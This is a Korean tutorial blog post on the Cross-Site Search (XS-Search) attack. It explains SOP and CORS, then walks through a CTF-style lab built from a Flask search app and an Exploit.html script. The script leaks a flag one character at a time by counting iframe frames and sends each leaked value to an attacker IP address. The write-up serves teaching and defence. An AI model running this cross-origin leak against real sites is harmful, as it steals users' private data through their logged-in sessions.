XS Search Attack
2019-10-06 / jin10

Cross-Site Search(XS-Search) Attack

포스팅할 주제는 XS-Search Attack 입니다.

(XS-search) 공격은 브라우저가 검색에 대한 결과 값에 대한 차이점을 사용하여 동일한 출처 정책(SOP)을 우회하고 민감한 정보를 추출하는 공격 기법입니다.

아래 그림을 통하여 쉽게 이해를 해보도록 할게요.

img

즉 희생자(신데렐라)가 공격자의 악성스크립트(빨간악마)를 접근 하였을 때 해당 스크립트를 통하여 희생자가 현재 접속한 사이트(Gmail)에 정보를 빼내올 수 있는 공격기법입니다.


일단 공격기법을 이해하려면 SOP와 CORS에 대한 이해가 있으면 좋아 간단히 설명합니다.

  • 동일출처정책(Same Origin Policy)

    자바스크립트(XMLHttpRequest,Fetch)로 다른 웹 페이지에 접근을 할때는 같은 출처의 페이지에만 접근이 가능하다는것을 뜻합니다.

여기서 같은 출처(Origin)은 프로토콜 , 호스트명, 포트가 같음을 의미합니다.

허나 웹 애플리케이션을 개선시키기 위해 CORS라는것이 도입되었습니다.

  • 교차 출처 자원 공유(Cross-Origin Resource Sharing)

    다른 도메인의 웹 페이지 스크립트에서 자원을 주고 받을 수 있게 해주는 개념입니다.

SOP와 CORS에 개념과 자세한 설명은 아래 링크를 참조해주세요.

SOP : https://developer.mozilla.org/ko/docs/Web/Security/Same-origin_policy

CORS : https://developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS


<실습>

아래 실습 예제를 통해 XS-SEARCH 이해를 해보도록 하겠습니다.

실습 내용은 35c3ctf - filemanager 내용을 참조하였으며 XS-SEARCH 포인트를 iframe으로 변경하여 테스트하였습니다.

Search.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask
from flask import request
from flask import render_template

app = Flask(__name__)

@app.route("/search")
def hello():
query = request.args.get('q')
FLAG = "35C3_iframe_test_win"
result = None
if query and query in FLAG:
result = {'title' : 'flag', 'content': FLAG}
return render_template('search.html', result=result, query=query)

if __name__ == "__main__":
app.run()

search.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{% if result %}
<h1>{{ result.title }}</h1>
<pre>{{ result.content }}</pre>
<iframe src="" name="frame_target" style="width:100%; height:400px;"></iframe>
<script>
((=>{
for (let pre of document.getElementsByTagName('pre')) {
let text = pre.innerHTML;
let q = '{{query}}';
let idx = text.indexOf(q);
pre.innerHTML = '${text.substr(0, idx)}<mark>${q}</mark>${text.substr(idx+q.length)}';
}
})();
</script>

{% else %}
<h1> no results</h1>
{% endif %}

웹 서버에서 구동되는 소스이며 해당 기능은 아래 그림과 같습니다.


q=1을 입력한 결과입니다.

img

q=3을 입력한 결과입니다.

img

q=1 ,q=3 을 입력하였을 때 여기서 중요한점은 두개의 결과값의 화면상 차이가 있다는 점인데요.

즉 브라우저 화면 내 차이점을 통하여 데이터를 Leak 할 수 있는 공격이 XS-Search attack 입니다.

여기서 브라우저 화면 내 차이점은 Iframe 갯수입니다.


이제 희생자가 악의적인 스크립의 접근하였을때 나타나는 결과에 대해 알아봅시다.

아래는 악의적인 스크립트 소스입니다.

Exploit.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!DOCTYPE html>
<html>
<head>
<title>exploit</title>
</head>
<body></body>
<script>
var chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_';
var charLen = chars.length;
var ENDPOINT = "http://127.0.0.1:5000/search?q="
var x = document.createElement('iframe');

function search(leak, charCounter) {

var curChar = chars[charCounter];
x.setAttribute("src", 'http://127.0.0.1:5000/search?q=' + leak + curChar);
document.body.appendChild(x);
x.onload = () => {
if(x.contentWindow.frames.length != 0){
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.232.137/?cmd='+leak, true);
xhr.withCredentials = true;
xhr.send(null);
console.log("leak = " + leak + curChar);
leak += curChar

}
search(leak , (charCounter +1 ) % chars.length);
}
}

function exploit(){
search("3",0);
}

exploit();
</script>
</html>

희생자가 127.0.0.1:5000/search 과 연결이 되어있을 때 해당 악의적인 스크립트의 접근한다면 아래와 같은 결과를 확인할 수 있습니다.

Exploit.html 화면

img

즉 악의적인 스크립트가 실행되는 Exploit.html 에서는 CORS 정책을 위반하여 위와 같은 오류를 발생시켜 데이터를 출력시킬 수 없다는 내용이 출력됩니다. CORS 정책은 브라우저에 의해 Blocking 되어 출력이 되지는 않지만 이미 데이터는 XMLHttpRequest를 통하여 서버측에 전송되어버렸기 때문에 저희는 아래와 같이 해당 데이터를 받아 확인할 수 있게 됩니다.

공격자측 서버의 웹로그 화면

img

즉 공격자는 검색 결과값에 대한 브라우저의 차이점에 대한 판별로 한글자씩 데이터를 Leak 할 수 있기에 Flag 의 문자열을 알아 낼 수 있게 됩니다.

Flag : 35C3_iframe_test_win


레퍼런스

https://www.owasp.org/images/a/a7/AppSecIL2015_Cross-Site-Search-Attacks_HemiLeibowitz.pdf

https://www.youtube.com/watch?v=HcrQy0C-hEA